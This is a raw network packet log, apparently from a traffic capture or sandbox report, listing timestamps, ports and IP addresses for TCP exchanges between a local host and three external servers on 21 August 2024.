Aug 21, 2024 08:32:16.002048969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002054930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002062082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.002067089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002080917 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.002111912 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.002507925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.002510071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002521038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002535105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002540112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002546072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002577066 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.002605915 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.003470898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003494978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003503084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003556967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.003573895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003582001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003590107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003597975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003642082 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.003729105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003736019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003746033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003751993 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003757954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003762960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003774881 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003779888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003786087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003789902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.003829002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.003829002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.003829002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.003842115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.003850937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.004050970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.004122972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.004189968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.005019903 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.021996975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.022089958 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.022116899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.022124052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.022129059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.022135019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.022140026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.022150040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.022171974 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.022205114 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.040266037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040277958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040291071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040340900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040349007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040355921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040363073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040366888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.040371895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040414095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.040456057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040463924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040472031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040479898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040501118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.040517092 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.040530920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.040549040 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.041774988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041785955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041796923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041802883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041810036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041821003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041826010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041831017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041836977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041863918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.041882038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041887999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041898012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041903973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.041903973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041910887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041923046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041925907 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.041929007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.041943073 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.041961908 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.041996956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.042011023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.042021990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.042026997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.042036057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.042042971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.042062998 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.042081118 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.042253017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.042515993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.042635918 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.042658091 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.042699099 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.042709112 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.042756081 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.042785883 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.043034077 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.043051958 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.043114901 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.043121099 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.043176889 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.043569088 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.043584108 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.043706894 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.043714046 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.043765068 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.044264078 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.044279099 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.044363976 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.044369936 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.044452906 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.044665098 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.044678926 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.044758081 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.044764996 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.044980049 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.045006990 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.045031071 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.045114994 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.045123100 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.045289993 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.045521975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.045531034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.045536041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.045542002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.045547962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.045583963 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.045598030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.045631886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.045665979 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.046257973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046639919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046646118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046655893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046655893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.046689034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046694040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046700001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046705961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046708107 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.046731949 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.046742916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046766996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.046794891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046861887 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.046905994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046915054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046928883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046936035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046943903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046952009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.046981096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047003984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047013044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047019005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047029972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047072887 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047106028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047111988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047117949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047123909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047128916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047135115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047166109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047197104 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047358990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047364950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047408104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047418118 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047481060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047487974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047552109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047590971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047596931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047609091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047615051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047621012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047651052 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047683001 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047812939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047827005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047838926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047843933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047851086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.047878981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.047909021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.055705070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055718899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055728912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055768967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055775881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055780888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055785894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.055794001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055807114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055809021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055819988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055823088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.055839062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.055840969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055850029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055855989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055860043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.055883884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055890083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.055891991 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.055922985 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056062937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056072950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056080103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056107044 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056123018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056135893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056144953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056159019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056169033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056183100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056185007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056216002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056246996 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056257963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056263924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056309938 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056348085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056355953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056370020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056399107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056413889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056416035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056432009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056440115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056447983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056463003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056477070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056504011 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056575060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056582928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056596041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056603909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056612015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056619883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056632996 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056648970 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056667089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056709051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056715012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056727886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056734085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056740046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056770086 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056782961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056791067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056799889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.056822062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.056879044 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057085991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057142019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057177067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057183027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057193995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057204008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057213068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057219982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057224989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057228088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057236910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057255030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057271957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057506084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057512999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057523966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057528973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057566881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057585955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057591915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057598114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057610035 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.057624102 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.057631969 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057691097 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.057698011 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.057759047 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.057765007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057774067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057789087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057799101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.057816982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.057840109 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.058003902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058011055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058016062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058020115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058024883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058029890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058063984 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.058088064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.058151007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058157921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058166027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058167934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058175087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058183908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058191061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058198929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058206081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.058206081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.058238983 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.058253050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.065154076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065171957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065181971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065238953 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.065272093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.065293074 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065304995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065306902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065310001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065320969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.065350056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.065372944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.069200039 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.069215059 CEST	443	49732	162.159.130.233	192.168.2.6
